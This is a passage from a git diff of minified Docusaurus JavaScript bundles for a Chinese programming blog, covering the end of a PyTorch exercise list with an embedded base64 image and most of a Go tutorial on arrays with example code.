\u6a21\u578b\u5fae\u8c03\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528\u9884\u8bad\u7ec3\u6a21\u578b\u8fdb\u884c\u6a21\u578b\u5fae\u8c03\uff0c\u89c2\u5bdf\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c6.5 \u6570\u636e\u589e\u5f3a\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528imgaug\u5e93\u8fdb\u884c\u6570\u636e\u589e\u5f3a\uff0c\u89c2\u5bdf\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u89c2\u5bdf\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u4f7f\u7528\u591a\u5361\u8bad\u7ec3\u6a21\u578b\uff0c\u89c2\u5bdf\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002"}),"\n"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6a21\u578b\u63a8\u7406"}),"\n"]}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6\u540e\uff0c\u52a0\u8f7d\u5df2\u7ecf\u8bad\u7ec3\u597d\u7684\u6a21\u578b\uff0c\u8fdb\u884c\u6a21\u578b\u63a8\u7406\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u4f7f\u7528sklearn.metrics\u4e2d\u7684classification_report\u51fd\u6570\uff0c\u8f93\u51fa\u6a21\u578b\u7684\u5206\u7c7b\u62a5\u544a\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5b66\u4e60\u5b8c9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406\u540e\uff0c\u5c06\u6a21\u578b\u8f6c\u6362\u4e3aONNX\u683c\u5f0f\uff0c\u4f7f\u7528ONNXRuntime\u8fdb\u884c\u63a8\u7406\u3002"}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(d,{...n})}):d(n)}},12557:(n,e,s)=>{s.d(e,{A:()=>a});const a="data:image/png;base64,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"},28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>i});var a=s(96540);const r={},t=a.createContext(r);function o(n){const e=a.useContext(t);return a.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:o(n.components),a.createElement(t.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/2b6e1ebe.d8813dd4.js b/en/assets/js/2b6e1ebe.d8813dd4.js new file mode 100644 index 0000000..12c6579 --- /dev/null +++ b/en/assets/js/2b6e1ebe.d8813dd4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6777],{28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>s});var r=t(96540);const i={},a=r.createContext(i);function l(n){const e=r.useContext(a);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function s(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:l(n.components),r.createElement(a.Provider,{value:e},n.children)}},48350:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>s,default:()=>h,frontMatter:()=>l,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4","description":"\u6570\u7ec4\u662f\u540c\u4e00\u79cd\u6570\u636e\u7c7b\u578b\u5143\u7d20\u7684\u96c6\u5408\u3002 \u5728Go\u8bed\u8a00\u4e2d\uff0c\u6570\u7ec4\u4ece\u58f0\u660e\u65f6\u5c31\u786e\u5b9a\uff0c\u4f7f\u7528\u65f6\u53ef\u4ee5\u4fee\u6539\u6570\u7ec4\u6210\u5458\uff0c\u4f46\u662f\u6570\u7ec4\u5927\u5c0f\u4e0d\u53ef\u53d8\u5316\u3002 \u57fa\u672c\u8bed\u6cd5\uff1a","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/06.GoLang-\u6570\u7ec4.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/06.GoLang-\u6570\u7ec4.md","tags":[],"version":"current","sidebarPosition":6,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247"}}');var i=t(74848),a=t(28453);const l={},s="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4",c={},o=[{value:"\u6570\u7ec4\u5b9a\u4e49\uff1a",id:"\u6570\u7ec4\u5b9a\u4e49",level:2},{value:"\u6570\u7ec4\u7684\u521d\u59cb\u5316",id:"\u6570\u7ec4\u7684\u521d\u59cb\u5316",level:2},{value:"\u65b9\u6cd5\u4e00",id:"\u65b9\u6cd5\u4e00",level:3},{value:"\u65b9\u6cd5\u4e8c",id:"\u65b9\u6cd5\u4e8c",level:3},{value:"\u65b9\u6cd5\u4e09",id:"\u65b9\u6cd5\u4e09",level:3},{value:"\u6570\u7ec4\u7684\u904d\u5386",id:"\u6570\u7ec4\u7684\u904d\u5386",level:2},{value:"\u591a\u7ef4\u6570\u7ec4",id:"\u591a\u7ef4\u6570\u7ec4",level:2},{value:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u5b9a\u4e49",id:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u5b9a\u4e49",level:3},{value:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u904d\u5386",id:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u904d\u5386",level:3},{value:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b",id:"\u6570\u7ec4\u662f\u503c\u7c7b\u578b",level:2}];function d(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",...(0,a.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4"})}),"\n",(0,i.jsx)(e.p,{children:"\u6570\u7ec4\u662f\u540c\u4e00\u79cd\u6570\u636e\u7c7b\u578b\u5143\u7d20\u7684\u96c6\u5408\u3002 \u5728Go\u8bed\u8a00\u4e2d\uff0c\u6570\u7ec4\u4ece\u58f0\u660e\u65f6\u5c31\u786e\u5b9a\uff0c\u4f7f\u7528\u65f6\u53ef\u4ee5\u4fee\u6539\u6570\u7ec4\u6210\u5458\uff0c\u4f46\u662f\u6570\u7ec4\u5927\u5c0f\u4e0d\u53ef\u53d8\u5316\u3002 \u57fa\u672c\u8bed\u6cd5\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// \u5b9a\u4e49\u4e00\u4e2a\u957f\u5ea6\u4e3a3\u5143\u7d20\u7c7b\u578b\u4e3aint\u7684\u6570\u7ec4a\nvar a [3]int\n"})}),"\n",(0,i.jsx)(e.h2,{id:"\u6570\u7ec4\u5b9a\u4e49",children:"\u6570\u7ec4\u5b9a\u4e49\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"var \u6570\u7ec4\u53d8\u91cf\u540d [\u5143\u7d20\u6570\u91cf]T\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6bd4\u5982\uff1a",(0,i.jsx)(e.code,{children:"var a [5]int"}),"\uff0c \u6570\u7ec4\u7684\u957f\u5ea6\u5fc5\u987b\u662f\u5e38\u91cf\uff0c\u5e76\u4e14\u957f\u5ea6\u662f\u6570\u7ec4\u7c7b\u578b\u7684\u4e00\u90e8\u5206\u3002\u4e00\u65e6\u5b9a\u4e49\uff0c\u957f\u5ea6\u4e0d\u80fd\u53d8\u3002 ",(0,i.jsx)(e.code,{children:"[5]int"}),"\u548c",(0,i.jsx)(e.code,{children:"[10]int"}),"\u662f\u4e0d\u540c\u7684\u7c7b\u578b\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var a [3]int\nvar b [4]int\na = b //\u4e0d\u53ef\u4ee5\u8fd9\u6837\u505a\uff0c\u56e0\u4e3a\u6b64\u65f6a\u548cb\u662f\u4e0d\u540c\u7684\u7c7b\u578b\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6570\u7ec4\u53ef\u4ee5\u901a\u8fc7\u4e0b\u6807\u8fdb\u884c\u8bbf\u95ee\uff0c\u4e0b\u6807\u662f\u4ece",(0,i.jsx)(e.code,{children:"0"}),"\u5f00\u59cb\uff0c\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u4e0b\u6807\u662f\uff1a",(0,i.jsx)(e.code,{children:"len-1"}),"\uff0c\u8bbf\u95ee\u8d8a\u754c\uff08\u4e0b\u6807\u5728\u5408\u6cd5\u8303\u56f4\u4e4b\u5916\uff09\uff0c\u5219\u89e6\u53d1\u8bbf\u95ee\u8d8a\u754c\uff0c\u4f1apanic\u3002"]}),"\n",(0,i.jsx)(e.h2,{id:"\u6570\u7ec4\u7684\u521d\u59cb\u5316",children:"\u6570\u7ec4\u7684\u521d\u59cb\u5316"}),"\n",(0,i.jsx)(e.p,{children:"\u6570\u7ec4\u7684\u521d\u59cb\u5316\u4e5f\u6709\u5f88\u591a\u65b9\u5f0f\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u65b9\u6cd5\u4e00",children:"\u65b9\u6cd5\u4e00"}),"\n",(0,i.jsx)(e.p,{children:"\u521d\u59cb\u5316\u6570\u7ec4\u65f6\u53ef\u4ee5\u4f7f\u7528\u521d\u59cb\u5316\u5217\u8868\u6765\u8bbe\u7f6e\u6570\u7ec4\u5143\u7d20\u7684\u503c\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar testArray [3]int //\u6570\u7ec4\u4f1a\u521d\u59cb\u5316\u4e3aint\u7c7b\u578b\u7684\u96f6\u503c\n\tvar numArray = [3]int{1, 2} //\u4f7f\u7528\u6307\u5b9a\u7684\u521d\u59cb\u503c\u5b8c\u6210\u521d\u59cb\u5316\n\tvar cityArray = [3]string{"\u5317\u4eac", "\u4e0a\u6d77", "\u6df1\u5733"} //\u4f7f\u7528\u6307\u5b9a\u7684\u521d\u59cb\u503c\u5b8c\u6210\u521d\u59cb\u5316\n\tfmt.Println(testArray) //[0 0 0]\n\tfmt.Println(numArray) //[1 2 0]\n\tfmt.Println(cityArray) //[\u5317\u4eac \u4e0a\u6d77 \u6df1\u5733]\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u65b9\u6cd5\u4e8c",children:"\u65b9\u6cd5\u4e8c"}),"\n",(0,i.jsx)(e.p,{children:"\u6309\u7167\u4e0a\u9762\u7684\u65b9\u6cd5\u6bcf\u6b21\u90fd\u8981\u786e\u4fdd\u63d0\u4f9b\u7684\u521d\u59cb\u503c\u548c\u6570\u7ec4\u957f\u5ea6\u4e00\u81f4\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\u6211\u4eec\u53ef\u4ee5\u8ba9\u7f16\u8bd1\u5668\u6839\u636e\u521d\u59cb\u503c\u7684\u4e2a\u6570\u81ea\u884c\u63a8\u65ad\u6570\u7ec4\u7684\u957f\u5ea6\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar testArray [3]int\n\tvar numArray = [...]int{1, 2}\n\tvar cityArray = [...]string{"\u5317\u4eac", "\u4e0a\u6d77", "\u6df1\u5733"}\n\tfmt.Println(testArray) //[0 0 0]\n\tfmt.Println(numArray) //[1 2]\n\tfmt.Printf("type of numArray:%T\\n", numArray) //type of numArray:[2]int\n\tfmt.Println(cityArray) //[\u5317\u4eac \u4e0a\u6d77 \u6df1\u5733]\n\tfmt.Printf("type of cityArray:%T\\n", cityArray) //type of cityArray:[3]string\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u65b9\u6cd5\u4e09",children:"\u65b9\u6cd5\u4e09"}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528\u6307\u5b9a\u7d22\u5f15\u503c\u7684\u65b9\u5f0f\u6765\u521d\u59cb\u5316\u6570\u7ec4\uff0c\u4f8b\u5982:"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [...]int{1: 1, 3: 5}\n\tfmt.Println(a) // [0 1 0 5]\n\tfmt.Printf("type of a:%T\\n", a) //type of a:[4]int\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u6570\u7ec4\u7684\u904d\u5386",children:"\u6570\u7ec4\u7684\u904d\u5386"}),"\n",(0,i.jsx)(e.p,{children:"\u904d\u5386\u6570\u7ec4a\u6709\u4ee5\u4e0b\u4e24\u79cd\u65b9\u6cd5\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar a = [...]string{"\u5317\u4eac", "\u4e0a\u6d77", "\u6df1\u5733"}\n\t// \u65b9\u6cd51\uff1afor\u5faa\u73af\u904d\u5386\n\tfor i := 0; i < len(a); i++ {\n\t\tfmt.Println(a[i])\n\t}\n\n\t// \u65b9\u6cd52\uff1afor range\u904d\u5386\n\tfor index, value := range a {\n\t\tfmt.Println(index, value)\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u591a\u7ef4\u6570\u7ec4",children:"\u591a\u7ef4\u6570\u7ec4"}),"\n",(0,i.jsx)(e.p,{children:"Go\u8bed\u8a00\u662f\u652f\u6301\u591a\u7ef4\u6570\u7ec4\u7684\uff0c\u6211\u4eec\u8fd9\u91cc\u4ee5\u4e8c\u7ef4\u6570\u7ec4\u4e3a\u4f8b\uff08\u6570\u7ec4\u4e2d\u53c8\u5d4c\u5957\u6570\u7ec4\uff09\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u5b9a\u4e49",children:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u5b9a\u4e49"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [3][2]string{\n\t\t{"\u5317\u4eac", "\u4e0a\u6d77"},\n\t\t{"\u5e7f\u5dde", "\u6df1\u5733"},\n\t\t{"\u6210\u90fd", "\u91cd\u5e86"},\n\t}\n\tfmt.Println(a) //[[\u5317\u4eac \u4e0a\u6d77] [\u5e7f\u5dde \u6df1\u5733] [\u6210\u90fd \u91cd\u5e86]]\n\tfmt.Println(a[2][1]) //\u652f\u6301\u7d22\u5f15\u53d6\u503c:\u91cd\u5e86\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u904d\u5386",children:"\u4e8c\u7ef4\u6570\u7ec4\u7684\u904d\u5386"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [3][2]string{\n\t\t{"\u5317\u4eac", "\u4e0a\u6d77"},\n\t\t{"\u5e7f\u5dde", "\u6df1\u5733"},\n\t\t{"\u6210\u90fd", "\u91cd\u5e86"},\n\t}\n\tfor _, v1 := range a {\n\t\tfor _, v2 := range v1 {\n\t\t\tfmt.Printf("%s\\t", 